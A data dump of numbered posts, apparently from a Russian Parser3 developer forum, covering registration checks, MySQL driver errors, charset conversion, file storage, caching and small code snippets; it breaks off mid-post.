"49934","К примеру у меня есть база данных индексов РФ. При регистрации пользователя нужно проверить есть ли этот индекс в БД. Если ли в классе методы расчитанные на такую ситуацию?\
Есть вариант сделать проверку в каком-нибудь файле profile.html где-нибудь перед тем как вызывается ^...insertUser[$form:fields]. Либо отредактировать методы @insertUser[] и @updateUser[]."
"49935","Сделал такой код для выдирания странички\
[code]\
^get_period[]\
$links_user_payment_request[$SERVER/$CGI_BIN/core.exe]\
$user_payment_request[^file::load[text;$links_user_payment_request;\
                       $.method[POST]\
                       $.timeout(10)\
                       $.any-status(1)\
                       $.form[$form:fields]\
                                 ]\
                     ]\
\
[/code]\
Все работает если вводить данные (дату начала и конца периода через select).\
Если не вводить ничего то выводится только форма выбора периодов и не выводится репорт. Как можно сделать, чтоб например по дефолту выводился репорт за текущий месяц. Пробовал в форме ставить на нужные значения selected, но пока ок не нажму -  пустой репорт."
"49936","в .htaccess стоял RewriteRule который и обрезал этот параметр"
"49937","И добавьте в своём методе необходимую вам проверку."
"49938","Я переделал этот пример чтобы он работал для генерирование ХМЛ для навигации , подскажите XSL\
или парсеровский код для преобразования энтого в хмл"
"49939","Простите , HTML"
"49940","Студия лебедева гденить применяла этот клас или нет , и вообще ктонидь юзал , если то мона пример?"
"49942","Объясните, это так и задумано что на выражение:\
[code]\
$new_table[^old_table.select(0)]\
[/code]\
Выдавалась ошибка:\
'select' condition must be expression (parameter #1) [parser.runtime]\
(раньше такого не было)\
\
при этом такой код считается нормальным:\
[code]\
$new_table[^old_table.select(!1)]\
[/code]"
"49943","Хостинг arbatek.ru\
Там два сайта, один давно размещен, а другой сейчас.\
Недавно испавили ошибку на старом сайте (появилось внезапно: [i]Client does not support authentication protocol requested by server; consider upgrading MySQL client [sql.connect][/i]\
и теперь работает.\
А у нового сайта ошибка [i]'./lib/libparser3mysql.so' driver failed to initialize client library '/usr/lib/libmysqlclient.so', /usr/lib/libmysqlclient.so: cannot open shared object file: No such file or directory [<no type>][/i]\
И ее тех поддержка не смогла исправить, а отправила на разбор системным администраторам.\
\
Устройство обоих сайтов одинаково,.\
И я думал что устранив ошибку на старом сайте - должна была устраниться автоматически ошибка на новом сайте, или, по крайней мере они бы сами устранили, так нет, там что то другое получается...\
Тех поддержка ответила мне где клиент - /usr/lib/libmysqlclient.so   путь я этот прописывал в auto.p и все так же бесполезно.\
Сам парсер там работает, страницы, где нет обращения к MySQL открываются.\
Система Linux redhat, БД MySQL 4.0.25-standard\
\
Я уже писал ниже, но так как проблема не решена пишу еще.\
Andrey отправил мне свои клиенты, но они тоже не пашут, да и вот ответ от сист.админ. никак не приходит\
Кто что-нибудь скажет по этому поводу, может что то еще попробовать можно?\
Новый сайт нужно как можно быстрее запускать а тут такие дела.."
"49944","помогите, пожалуйста, с разделом невс для чайников, а конкретно:\
растолкать код по файлам и создать обёект $MAIn: pSQl, короче говоря, всё, а то мне не по силам, а так посмотрю, может чего-нибудь и пойму."
"49945","Core was generated by `parser3.cgi'.\
Program terminated with signal 6, Aborted.\
\
warning: current_sos: Can't read pathname for load map: Input/output error\
\
Error while mapping shared library sections:\
./lib/libparser3mysql.so: No such file or directory.\
Reading symbols from /lib/libdl.so.2...(no debugging symbols found)...done.\
Loaded symbols for /lib/libdl.so.2\
Reading symbols from /lib/libcrypt.so.1...(no debugging symbols found)...done.\
Loaded symbols for /lib/libcrypt.so.1\
Reading symbols from /lib/tls/libm.so.6...(no debugging symbols found)...done.\
Loaded symbols for /lib/tls/libm.so.6\
Reading symbols from /lib/tls/libc.so.6...(no debugging symbols found)...done.\
Loaded symbols for /lib/tls/libc.so.6\
Reading symbols from /lib/ld-linux.so.2...done.\
Loaded symbols for /lib/ld-linux.so.2\
Error while reading shared library symbols:\
./lib/libparser3mysql.so: No such file or directory.\
Reading symbols from /usr/lib/libmysqlclient.so.12.0.0...done.\
Loaded symbols for /usr/lib/libmysqlclient.so.12.0.0\
Reading symbols from /lib/libz.so.1...done.\
Loaded symbols for /lib/libz.so.1\
Reading symbols from /lib/libnsl.so.1...done.\
Loaded symbols for /lib/libnsl.so.1\
Reading symbols from /lib/libnss_files.so.2...done.\
Loaded symbols for /lib/libnss_files.so.2\
#0  0xffffe410 in ?? ()\
(gdb)\
(gdb) bt\
#0  0xffffe410 in ?? ()\
#1  0xbfffad2c in ?? ()\
#2  0x00000006 in ?? ()\
#3  0x400981e9 in abort () from /lib/tls/libc.so.6\
#4  0x080cd5f9 in ceil ()\
#5  0x0805cea4 in ?? ()\
#6  0x0807f94d in ?? ()\
#7  0x0808037f in ?? ()\
#8  0x08067a0a in ?? ()\
#9  0x0806c0ca in ?? ()\
#10 0x0807c6d0 in ?? ()\
#11 0x08067a0a in ?? ()\
#12 0x08067a88 in ?? ()\
#13 0x08067a88 in ?? ()\
#14 0x0806cce3 in ?? ()\
#15 0x0806cf77 in ?? ()\
#16 0x08053100 in ?? ()\
#17 0x0804c2c2 in ?? ()\
#18 0x0804c55a in ?? ()\
#19 0x40083ea0 in __libc_start_main () from /lib/tls/libc.so.6\
#20 0x0804b721 in ?? ()"
"49946","Можно поискать по форуму"
"49948","[code]<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<sections>\
<section id=\"1\">\
<uri_name>/</uri_name>\
<section id=\"3\">\
<uri_name>help</uri_name>\
<section id=\"4\">\
<uri_name>win</uri_name>\
</section>\
</section>\
<section id=\"2\">\
<uri_name>about</uri_name>\
</section>\
</section>\
</sections>[/code]"
"49950","Как сделать так, чтобы при нажатии на ссылку выполнялась функция парсер?\
Мне на ум приходит только сделать ссылки с параметрами и потом их обрабатывать при перезагрузке страницы... но как то это коряво :-/"
"49951","Прописал и так - все равно не работает, хотя сказали ведь что именно /usr/lib/libmysqlclient.so"
"49952","/usr/lib/mysql/libmysqlclient.so.10\
\
или\
\
/usr/lib/mysql/libmysqlclient.so.12\
\
?\
\
Меняется формат выдачи ошибки или одно и тоже всё время?"
"49954","смотрите [url=\"http://www.egoroff.spb.ru/portfolio/10.html\"]сюда[/url].\
Если ничего не получится - спрашивайте."
"49955","Задача: хранить много бинарных файлов в базе и выдавать их юзеру. Чтобы это более-менее шустро работало, сами файлы собираюсь хранить на диске, а в базе только ссылку на них.\
Вопрос такой - как хранить на диске сами файлы? Просто ^math:md5[$filename] и все в одну директорию? Но такой вариант не подходит(?), если файлов будет много.\
Хотелось бы не изобретать велосипед, а сделать  что-то подобное кешу в squid, msie, etc. \
\
Механизм выдачи файлов пользователю мне представляется таким: \
\
[code]RewriteRule	^files/(+*)	/get_file.html?name=$1[/code]\
\
В условном get_file.html примерно такая конструкция:\
\
[code]$real_link[^get_object_url[$form:name]]\
\
^if($real_link){\
	$response:location[$real_link]\
}{\
	^show_error_message[]\
}\
[/code]\
Но с большой вероятностью, может потребоваться разделение/ограничение доступа, а это значит, что файлы с веба нужно убирать.\
\
Т.е. придется использовать что-то вроде этого:\
[code]\
^try{\
	$response:body[^get_object[$form:name]]\
}{\
	^if($exception.type eq object.miss){ \
		$exception.handled(1) \
		^show_error_message[]\
	}\
}[/code]\
\
Такое решение, насколько я понимаю, будет очень серьезно нагружать память. \
\
Если ли какие-то иные варианты решения задачи?"
"49956","Это не коряво, а нормально, парсер — серверный язык, и обрабатывать что-то на клиенте не умеет, для обработки ему нужно послать данные на сервер.\
\
Впрочем можно копать в сторону jshttprequest."
"49957","Нужно при обработке формы проверку делать, т.е. там, где вызывается ^auth.insertUser[...], например так:\
\
[code]\
^try{\
	^if(!($form:field ...)){\
		^throw[error;...]\
	}\
	^auth.insertUser[...]\
}{\
	$exception.handled($exception.type eq \"error\")\
}\
[/code]"
"49959","Храните вне вэб пространства. Как правило это на одну...две директории выше корня. Ни шифровать, ни прикрывать паролями не нужно. Доступ к файлам парсером сделать типа:\
[code]\
$_file[^file::load[binary;/../file_catalog/<file.name>]]\
[/code]\
Отдавать через:\
[code]\
$response:body[$_file]\
[/code]"
"49960","вообще, тут нужно думать - какой подход более оптимален.\
Хранить все посчитанное в базе в принципе, мысль неплохая, с одной стороны. Нужно поэксперементировать с этим...\
\
Вообще, наиболее разумно было бы переодически считать и кешировать дерево в виде хешей, но в парсере нет средств сериализации для этого типа данных."
"49964","Я так понимаю что ничем, просто страница с новостями содержит блок новостей, а обычная страница — блок текста."
"49966","В метод ^insertUser[$form:fields] нужно передавать не поля формы, а хеш с проверенными данными. \
Причем, поля которые будут проверяться внутри метода можно передавать без проверки"
"49968","...как создать пустую таблицу с нужной структурой, а в обработке выражения.\
\
[code]^if(0){...}[/code]\
\
работает ведь...\
Почему\
[code]^table.select(0)[/code]\
нет?"
"49969","Я конечно не Миша, но все таки отвечу:\
\
К объекту можно прикрепить любое количество блоков. Блок может быть как статический (содержит чистый xml), так и динамический, функциональность которого определяется назначенным для него обработчиком. Динамический блок может быть пустым, а может содержать какой то xml. \
\
Если у блока есть обработчик (динамический блок), то он запускается и результат его работы прибавляется к block.body: так образуется содержимое динамического блока.\
\
Например, есть блок \
id = 123\
name = `last-news`\
data = `<title>Последние новости</title>`\
data_process_id = 11\
attr = 'type = 1, limit = 4'\
is_published = 1\
...\
\
При обработке этого блока запускается 11-й обработчик с параметрами, указанными в поле attr. Результат работы обработчки прибавляется к полю data. Получаем следующий xml\
[code]\
<last-news>\
	<title>Последние новости</title>\
	<articles type=\"1\">\
		<article>\
			<date year=\"\" month=\"\" day=\"\" />\
			<title>...</title>\
			<lead>...</lead>\
		</article>\
		<article>\
			<date year=\"\" month=\"\" day=\"\" />\
			<title>...</title>\
			<lead>...</lead>\
		</article>\
		...\
	</articles>\
</last-news>\
[/code]"
"49972","[code]\
<sections>\
	<item id=\"1\" uri=\"printers/\" path=\"parent\">\
		<title>Принтеры</title>\
	\
		<item id=\"11\" uri=\"printers/laser/\" path=\"current\">\
			<title>Лазерные</title>\
		</item>\
\
		<item id=\"12\" uri=\"printers/ink/\">\
			<title>Струйные</title>\
		</item>\
	</item>\
\
	<item id=\"2\" uri=\"monitors/\">\
		<title>Мониторы</title>\
\
		<item id=\"21\" uri=\"monitors/crt/\">\
			<title>Электронно-лучевые</title>\
		</item>\
\
		<item id=\"22\" uri=\"monitors/tft/\">\
			<title>Жидко-кристаллические</title>\
		</item>\
	</item>\
</sections>\
[/code]\
\
Для построения главного меню использую селектор: sections/item\
для меню раздела:\
sections/item[@id = $current_section_id]//item\
для хлебных крошек: sections//item[@path]"
"49973","если только сделать [и]фрэйм адрес которого будет указывать на страницу с другого сервера, ну а там обрабатывать скриптами."
"49974","'./lib/libparser3mysql.so' driver failed to initialize client library '/usr/lib/mysql/libmysqlclient.so.12', /usr/lib/mysql/libmysqlclient.so.12: cannot open shared object file: No such file or directory [<no type>]"
"49975","Есть в строках такое:\
<A HREF=\"/cgi-bin/bill/coreus.exe?skey=разное_значение&amp;cmd=user_service_info&amp;slink_id=разное_значение\">Тариф</A></TD>\
нужно оставить только \"Тариф\"\
Как сделать такое?"
"49979","Туториал почитать можно тут:\
http://developer.mozilla.org/en/docs/AJAX:Getting_Started"
"49980","если есть, тогда \
\
$locate libmysqlclient\
или \
which libmysqlclient\
\
и пишем в auto.p что там увидим"
"49982","Ну значит нет там таких файлов. Админы пока не ответили? Звоните им голосом и ставьте вопрос ребром."
"49983","http://www.php.spb.ru/remview/ - утилитка позволяющая лазать по серверу. Скачать у источника, закачать себе, запустить и \"доползти\" до искомого каталога. Не забыть удалить по окончании манипуляций!"
"49984","Подскажите пожалуйста, как заставить парсер соблюдать алфавитный порядок при сортировке слов с украинскими буквами?"
"49985","Версия парсера бинарная 3.2.1 для Windows CGI."
"49987","В меню на сайте для отображения текущей страницы использую маленький гиф, так вот при нажатии кнопки \"Обновить\" на браузере он пропадает - вместо него выемка без крестика, ну а в свойствах указнано Недоступно..\
При хождении по меню все отображается, а стоит обновить и пропадает."
"49988","что-то у меня скопытилось на тестовой машинке. Перестали открываться парсерные страницы. Первопричину отловить не могу.\
\
Зачистил кэш, переустановил iis, пропробовал 3.2.1 и версию без properties, isapi и cgi, с xml и без - не помогает, изменение безопасности (от \"low, iis process\" до \"high, isolated\") - тож. Внешне выглядит так - запрашиваю любую парсерную страницу и комп впадает в кому - запущенное подтормаживает, новое не запускается, пока не снесу процесс inetinfo.exe. Статические страницы отдаёт, asp - тоже.\
\
Заинтересовало дёргание диска в процессе, решил воспользоваться FileMon. В логе оказалось неприятное слово BufferOverflow:\
\
[code]15:01:25	inetinfo.exe:744	OPEN	C:\\INETPUB\\WWWROOT\\EVAL.HTML	SUCCESS	Options: Open  Access: All	\
15:01:25	inetinfo.exe:744	QUERY INFORMATION	C:\\INETPUB\\WWWROOT\\EVAL.HTML	BUFFER OVERFLOW	FileFsVolumeInformation	\
15:01:25	inetinfo.exe:744	QUERY INFORMATION	C:\\INETPUB\\WWWROOT\\EVAL.HTML	BUFFER OVERFLOW	FileAllInformation	\
15:01:25	inetinfo.exe:744	CLOSE	C:\\INETPUB\\WWWROOT\\EVAL.HTML	SUCCESS		\
15:01:25	inetinfo.exe:744	READ 	C:	SUCCESS	Offset: 66560 Length: 32768[/code]\
\
Что это было? Парсер ломается на этих [url=\"http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/File/FILE_FS_VOLUME_INFORMATION.html\"]18 байтах?[/url]"
"49989","Парсер 3.21 украинский алфавит сортирует в таком порядке:\
[b]і ґ є ї[/b] а б в г д е ж з и й к л м н о п р с т у ф х ц ч ш щ ь ю я\
\
Думаю что это баг с кодировками.\
Подождем что скажет PAF.\
\
PS\
Правельный порядк:\
а б в г [b]ґ[/b] д е [b]є[/b] ж з и [b]і ї[/b] й к л м н о п р с т у ф х ц ч ш щ ю я ь"
"49990","расширение гифа прописано было заглавными, а в самом файле малыми"
"49991","больше правок в текущей версии не планируется, т.к. сейчас я кардинально переделываю класс авторизации, как доделаю - выложу. \
\
в новой версии обратной совместимости с текущей версией не будет, т.к. у меня изменились представления о именовании переменных/классов :)"
"49992","Нашел в той же /usr/lib/ файл libmysqlclient.so и попробовал подключить в sqldrivers в auto.p. Выдается та же ошибка.\
Скопировал файл в cgi-bin/lib, дал все права-без толку."
"49994","но чем дальше в лес, тем толще партизаны :)"
"49995","Вот правильный порядок:\
А Б В Г [b]Ґ[/b] Д Е [b]Є[/b] Ж З И [b]І Ї[/b] Й К  Л М Н О П Р С Т У Ф Х Ц Ч Ш Щ [b]Ь[/b] Ю Я"
"49997","есть небольшая просьба, я тут для своих целей хотел немного изменить механизм сессий в классе авторизации, если конкретнее то мне необходимо примерно следующее:\
\
1. сессия должна считаться начиная с первого хита, либо по IP либо передавая идентификатор в URI, пока не решил\
2. привязка сессии к IP (в частности, logout если IP не совпадает с полученным при login)\
3. возможность задать таймаут сессии\
4. старые сессии не должны удаляться из базы (будут нужны позже)\
\
я понимаю что за меня это никто делать не будет, просто посмотрел что очень многое придется перекрывать. Вобщем, пользуясь случаем глобальной переделки класса хотел попросить [b]по возможности[/b] четче разделить механизм сессий и механизм авторизации. А то сейчас там слишком переплетено както все, местами непонятно где что перекрывать. Заранее благодарен :)"
"49998","http://www.parser.ru/forum/?id=49896"
"49999","рассмотрите возможность использования 3.2.1, там этой библиотеки нет вообще. раз так, нет и глюков с ней связанных."
"50000","[quot]\
1. сессия должна считаться начиная с первого хита, либо по IP либо передавая идентификатор в URI, пока не решил\
[/quot]\
\
это было, но я специально упразднил подобное, ибо очень много записей в БД создавалось от приходивших роботов, которые ничего не помнят в куках. но в принципе добавить настройку для отключения подобного не сложно.\
\
[quot]\
2. привязка сессии к IP (в частности, logout если IP не совпадает с полученным при login)\
[/quot]\
\
хм. я не трогал структуру БД, и не хочу трогать (нет, я не считаю её очень хорошей). \
\
[quot]\
3. возможность задать таймаут сессии\
[/quot]\
\
есть даже в текущей реализации.\
\
[quot]\
4. старые сессии не должны удаляться из базы (будут нужны позже)\
[/quot]\
в текущей реализации можно задать большой таймайт (пару лет например). мне кажется более старые все равно никому не нужны, поэтому скорее всего отдельную настройку для отключения добавлять не буду.\
\
[quot]\
...разделить механизм сессий и механизм авторизации...\
[/quot]\
\
именно это и делается. можно будет пользоваться просто сессиями, а можно с авторизацией."
"50002","[code]\
$filename[/t.cfg]\
^if(!-f $filename){\
	$t[^table::create{a	b\
1	a\
2	\"\
3	1\"2\
4	test\
}]\
	^t.save[$filename;\
		$.encloser[\"] \
	]\
}\
\
$t[^table::load[$filename; \
	$.encloser[\"] \
]]\
Total records: ^t.count[]\
<hr />\
\
<table border=\"1\">\
^t.menu{\
	<tr>\
		<td>$t.a</td>\
		<td>$t.b</td>\
	</tr>\
}\
</table>\
[/code]"
"50004","[quote]\
Вообще, наиболее разумно было бы переодически считать и кешировать дерево в виде хешей, но в парсере нет средств сериализации для этого типа данных.\
[/quote]\
\
Зачем периодически?\
Достаточно один раз, после любого изменения конфигурации дерева.\
Разве что пересчитывать не все дерево, а только там где это надо.\
Например, поменяли у элемента имя или родителя -- перстраиваем его full_path, nesting и thread_id, а ткже у всех его потомков.\
\
В процессе сборки страницы по какомуто запросу, необходимо вытаскивать не все дерево, а лиш конкретную ветку с требуемым уровнем вложености (where thread_id=x and nesting=5) + полные два верхних уровня (корень сайта и корни всех разделов)\
Этой ветки будит достаточно для постороения главного меню, меню раздела и хлебных крошек.\
\
Для построения карты сайта прийдется один раз вытащить все дерево. Дальше будет работать кеш запроса, до тех пор пока админка не удалит кеш.\
\
Для формирования ссылки на внутренние страницы других разделов прийдется лезть в базу за конкретным элементом дерева (но это ведь один раз: потом работает кеш)\
\
Короче говоря, все можно кешировать без даты и срока, а при наступлении изменений -- удалять соотв. кеш-файлы."
"50005","В учебнике по парсеру в примерах используется иногда &nbsp^; ,  а иногда &nbsp;\
Чем они отличаются?"
"50007","файл не выдавать через \
[code]\
$response:body[$_file]\
[/code]\
\
а на время процесса перекладывать копию файла в папку, доступную из веб (в папке реализовать стандартную авторизацию, а ссылку давать сразу с логином и паролем). После скачевания файл сразу удалять.\
\
(Не знаю как это реализовать, правда :)"
"50008","Ну искал я по форуму, и не нашел там ничего. А проблема такая: поставил класс авторизации, регистрация проходит нормально, но когда нажимаю \"завершить работу\" или залогиниться под другим именем выдает ошибку 'connect-string' element can not be stored to void  type: parser.runtime\
Что это?\
\
Заранее спасибо."
"50009","Можно попробовать использовать rewrite_map, можно попробовать рулить файлами за счет расширения, например, если файл не является общедоступным, то добавлять суффикс .htlocked...\
Да много чего, просто нужно еще подумать. Спросил - вдруг у кого уже есть решение или понимание как правильно сделать :)"
"50010","Можно по результатам проверки на допуск выкладывать юзеру его файл на час, или пару часов, а потом тереть."
"50011","Предположим, из внешней формы пришел запрос в кодировке windows-1251.\
У меня сайт на utf-8 - и файлы, и БД.\
Если задать $request:charset[windows-1251] - то, по руководству, парсер будет считать, что сайт в этой кодировке и есть, и это неправильно.\
Если задать $response:charset, то получается, что форма интерпретируеся как utf-8 а вернется пользователю в 1251.\
\
Что же делать-то?"
"50012","если файлы у вас лежат в кодировке utf-8, а посетителям все отдается в 1251 то вам нужно указать $request:charset[UTF-8] а response:charset[windows-1251]\
\
если и посетителям все выдается в UTF-8, то вы не сможете переварить пришедшее от посетителя в 1251 ни коим образом."
"50013","Не пойму где у вас какой charset"
"50014","возможно, сделаю примерно так\
1. Создаем условую папку files (прямо в веб-директории, можно сдеделать Alias)\
2. Пишем туда файлы как есть и данные о них в базу.\
3. Систему прав упрощаем до минимально необходимого уровня.\
\
Что имеем в итоге: пользователи могут только читать файлы, администраторы тоже, вопросы с перемещением, удалением, и т.д. - решаются по результатам записей в БД. \
Файлы которым не место на вебе - выкладывать не стоит, если необходимо какой-то файл временно заблокировать, то можно добавить расширение .htlock.\
\
Просто хотелось, чтобы \"перемещение\" файла можно было сделать простым SQL запросом, но это создает массу сложностей."
"50015","Тут уже, скажем так, больше упор не на построение самого дерева, сколько хранение объектов в виде дерева. \
Несколько разные задачи, имхо.\
\
А на счет кеширования - согласен, вполне разумно."
"50016","извращённых способов навалом.\
Можно к примеру поставить внешний анализатор кодировки и перекодировщик."
"50017","Или наоборот, сайт в винде, запрос в юникоде."
"50018","Остается ^строка.replace - и писать собственную таблицу перекодировки."
"50019","Исходную проблему изложил в предыдущей теме. Полазив по форуму, понял, что нужны свои перекодировочные таблицы.\
Вопрос - дайте подсказку, как их создать.\
Положим, из юникода надо перекодировать в win, тогда пишем:\
$repace_tab[^table::create{from -> to}\
?? ^#ascII]\
\
Что-то из этого выйдет?"
"50020","там чуть веселее с кодировками, чем было в mysql3.\
поищите в форуме, уже разобралис с этим."
"50021","вы естественно можете сделать отдельную страницу, на которую будут идти посты с внешних форм в кодировке 1251 и указать для неё $response:charset[windows-1251]. посетители с подавляющим большинством современных броузеров даже не заметят разницы.\
\
и небольшое лирическое отступление, не касающееся напрямую вашего вопроса: а зачем вы мучаете посетителей, выдавая им контент в utf-8? у вас действительно на одной странице содержатся символы из нескольких языков? например у меня файлики живут в utf, а почетителям выдается страница в 1251 если это русскоязычная версия, 1257 если латвийская и т.д. странички в подобных кодировках имеют меньший объем, соотв. экономят ваш трафик и трафик посетителей."
"50023","Если хотите могу дать ftp-доступ и вы сами можете убедиться в ошибке?"
"50024","Или есть браузеры которые не понимают utf-8 ?"
"50025","весь сайт (1) в UTF. есть _другой_ сайт (2) в 1251, там есть форма, у которой action указывает на сайт 1..."
"50026","У элемента FORM есть такой атрибут accept-charset\
\
Никогда его не использовал, но думаю что он как раз для таких ситуаций."
"50027","..не получается. Сайт вылазит в непонятной кодировке, особенно если был в ascII, а требуется выдать пользователю unicode.\
\
И к лирическому отступлению: Задача совсем другая. Пускай сайт у меня в windows-1251. Даю я ссылку на страницу вида: http://my.ru/wiki/Кракозябрики. Посетитель копирует ее, скажем, в свой ЖЖ, который в юникоде, естественно. И ссылка перестает работать, единственный выход - считать http_referer и догадаться, что на том сайте - другая кодировка."
"50029","accept-charset\
\
Определяет список кодировок для вводимых данных, принимаемых сервером, обрабатывающим данную форму.\
\
<form accept-charset=\"utf-8\" action=\" \">"
"50030","http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/properties/acceptcharset.asp\
\
Не работает в IE."
"50031","Суть то, конечно, есть, только вы тут ругаетесь умными словами, а человеку даже ссылку не дали, мол вот какую мы аббривиатуру знаем =)"
"50033","На серваке стоит parser3_1_4_freebsd49R_cgi, работает отлично.\
Атрибуты прав установил как и на прошлом файле \"755\", броузер выдает ошибку \"Невозможно отобразить страницу\".\
При других правах выдает \"Internal Server Error\"\
Спасибо."
"50034","Не знаю, смеяться или плакать... \
\
[code]^if(...){... ^method[parameter1;parameter2] ...}[/code]\
\
Выдаст фигу. \
А\
\
[code]^if(...){... ^method[parameter1^;parameter2] ...}[/code]\
\
передаст параметры в одну переменную.\
\
Как выйти из ситуации?"
"50035","Ибо приведенный код рабочий."
"50038","Как это рабочий?! Он выдает \"native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present)\" - и известно почему: потому что точка с запятой не экранирована."
"50039","[code]@main[]\
^if(1==1){^method[parameter1;parameter2]}\
\
@method[p1;p2]\
$result[$p1 $p2][/code]"
"50042","Ваш пример работает безусловно.\
\
[code]^if(def $orderslist.in){^datetimeswitch[$orderslist.in;min]}[/code]\
\
Впрочем, готов допустить, что и это у вас заработает."
"50044","Пункт 6 в инструкции оказался точно тем.\
Нужно в свойствах обозревателя во вкладке Дополнительно в опции Обзор, снять галочку \"Выводить подробные сообщения об ошибках http\"\
Спасибо большое."
"50045","http://www.parser.ru/forum/?id=43907 не то? ;-)"
"50048","стоит 4. Глюк был в том что 1257 должно было стоять в сравнении, а не 1251 ! И при соединении с базой кодировку установил."
"50049","1) [quote]Урок 4. Шаг второй - переходим к работе с БД[/quote]\
2) подмена libpq.dll более новой версией (например 7.3.4.0)\
[url=\"http://www.zuggsoft.com/index.php?page=4&action=file&file_id=59\"]Старые версии libpg.dll[/url]\
\
2Paf: может стоит обновить библиотчикe из стандартной поставки?\
Последняя доступная с postgresql.org 8.1.3 отказывается работать с парсером, а найти старые поставки довольно затруднительно.\
\
Ксати postgeSQL уже давным давно дает возможность использовать bind variables, а в исходниках драйвера стоит заглушка ("
"50054","Стоит задача - по таблице, содержащей названия файлов и их описания, вывести текст. Можно брать эту таблицу из файла *.cfg, а можно и из mysql. Теоретически наверно лучше использовать mysql, но я тут читал, что у парсера возникают значительные задержки при соединениях с бд. Так не лучше ли использовать таблицы-файлы в моём случае? (таких таблиц обрабатывается за один метод штук 10)"
"50055","[quote]у парсера возникают значительные задержки при соединениях с бд.[/quote]\
\
Задержка может возникнуть не по вине Парсера, а по вине MySQL (в часы-пик, когда она не успевает всем отвечать).\
\
Используя Мишину обертку sql.p, результаты запросов можно кешировать. И тогда, если таблица возвращаемая в результате запроса, есть в кеше, то запрос реально не выполняется, а берется из кеш-файла. Скорость в этом случае почти такая же как и при чтении данных из cfg-файла."
"50056","Поставил егровский двитжок , но захожу на сайт \
127.0.0.1\
и движок мне говорить\
	[quot]\
412\
На сервере случилось чего-то страшное. Возможно он обслуживается, возможно я дал маху, но  вы не огорчайтесь, — он скоро заработает. Да, — и сообщите об этом по e-mail: mail@egoroff.spb.ru\
	[/quot]\
хотя другие разделы сайта открываються"
"50057","по поводу управляющих комментариев: валится не только на INSERT, на некоторых извратных запросах типа SELECT ... WHERE id in (... куча id ...) тоже гребет :) Хотя я от них активно избавляюсь в последнее время :)\
\
насчет подмены libpq.dll: я так и понял что здесь собака порылась, попробуем разные версии )"
"50058","Получается, если для моей задачи не нужно использовать мозможности mysql, лучше его не использовать, а читать из файлов?"
"50059","[b]JSHttpRequest && Parser[/b]\
\
http://www.ipo-design.ru/developments/httpreguest/\
\
И вот еще в форуме что-то было:\
http://www.parser.ru/forum/?id=47530"
"50061","Можно использовать БД MySQL. Наверное даже удобнее... Просто не забывайте кешировать запросы..."
"50062","Кэширование запросов SQL - плохо, т.к. нельзя быть уверенным, что не требуются обновленные данные. Это лучше делать в ближайшем к фокусному контексте, примерно так:\
^if($my is table){;$my[^table::sql{...}}, точно зная, что лежит в $my"
"50063","Вот например раздел справки:\
http://www.parser.ru/docs/lang/fileload.htm\
\
Куда уходят комменты и кто их читает? Есть ли смысл задавать вопрос там?"
"50064","[code]^file::load[text;$form:uri][/code]\
\
Выдает ошибку:\
\
does not start with http://\
http://ndt.org.ua/rus/\
\
[code]$form:uri[/code] в данном случае имеет значение http://ndt.org.ua/rus/"
"50065","Задавать вопросы нужно здесь, а там идут непосредственно комментарии к разделам документации."
"50066","Здравствуйте,\
\
Получаю из базы текст, содержащий HTML теги. Далее делаю замену ^#0A на <br>.\
Когда текст не содержит HTML - все нормально.\
Если содержит вокруг тегов <table> почему-то делаются огромные отступы.. смотрю  HTML код, <br> нет. Проверял валидность HTML кода все в порядке.\
\
Может кто сталкивался с такой проблемой?\
\
[code]\
$s[^taint[optimized-as-is][$model.description]]\
$rep[^table::create{from        to\
^taint[^#0A]	<br>}]\
$str[^s.replace[$rep]]\
[/code]"
"50070","У меня есть простейший код загрузки файлов в админке. Вот он:\
[code]^if(def $form:upl && $form:upl is 'file'){\
  $rep[^table::load[rep.dat]]\
  $ext[^file:justext[$form:upl.name]]\
  $name[^file:justname[$form:upl.name]]\
  $name[^name.replace[$rep]]\
  $full[${name}.$ext]\
  ^form:upl.save[binary;/ui/$full]\
}\
$imglist[^file:list[/ui]]\
<select id=\"imsel\" size=\"10\" onClick=\"document.getElementById('src').value = '/ui/'+getElementById('imsel').value^;resetImageData()^;getImageData()^;\">\
^imglist.menu{\
  <option value=\"$imglist.name\">$imglist.name</option>\
}\
</select>\
[/code]\
\
В rep.dat замена русских букв на транслит.\
Есть сайт, на котором парсер не работает в упор с делать толком ничего нельзя с этим.\
Как это изобразить на PHP? Я бы сам перевел, просто надо очень срочно и работы сейчас очень много. \
Помогите плз.. =)"
"50071","задача разбивается на две подзадачи\
[code]\
$uploaddir = $_SERVER['DOCUMENT_ROOT'] . '/ui/';\
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);\
\
echo '<pre>';\
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {\
   echo \"File is valid, and was successfully uploaded.\\n\";\
} else {\
   echo \"Possible file upload attack!\\n\";\
}\
[/code]\
\
и вторая\
[code]\
$dir = $_SEVER['DOCUMENT_ROOT'] . '/ui/';\
if (is_dir($dir)) {\
   if ($dh = opendir($dir)) {\
       while (($file = readdir($dh)) !== false) {\
          if (is_file($dir . $file)) {\
             echo \"filename: $file : filetype: \" . filetype($dir . $file) . \"\\n\";\
          }\
       }\
       closedir($dh);\
   }\
}\
[/code]"
"50072","Есть успехи? У меня сейчас такая же проблема :("
"50073","Нужно вырезать все скрипты из текста html-документа:\
\
[code]$text[^text.match[<script.*</script>][g]{}][/code]\
\
Этот код работает в принципе нормально, но вырезает все между:\
\"<script\" и \"</script>\" но если скрипт будет вначале и конце документа, мы вырежем все тело html-документа.\
\
У кого какие идеи?"
"50075","[code]$text[^text.match[<script[^^>]*>.*?</script>][g]{}][/code]"
"50076","Потомоу что как только данные меняются -- я удаляю кеш.\
\
Данные ведь не могут сами поменяться. Если кто то их изменяет (админка), то этот кот то обязан удалить кеш со старыми данными."
"50077","Возможно у вас тот случай, когда говорят: \"…из пушки по воробьям\"."
"50079","Каким образом с помощью средств Parser можно сделать HTTP-запрос без ответа?"
"50081","Каким образом, я с помощью парсера могу такой http-ответ дать?"
"50083","Качал с сайта parser-3.2.1 и parser3mysql-3.1.4\
Драйвер скомпилился и лег в нужную директорию.\
При попытке использования MySQL parser пишет:\
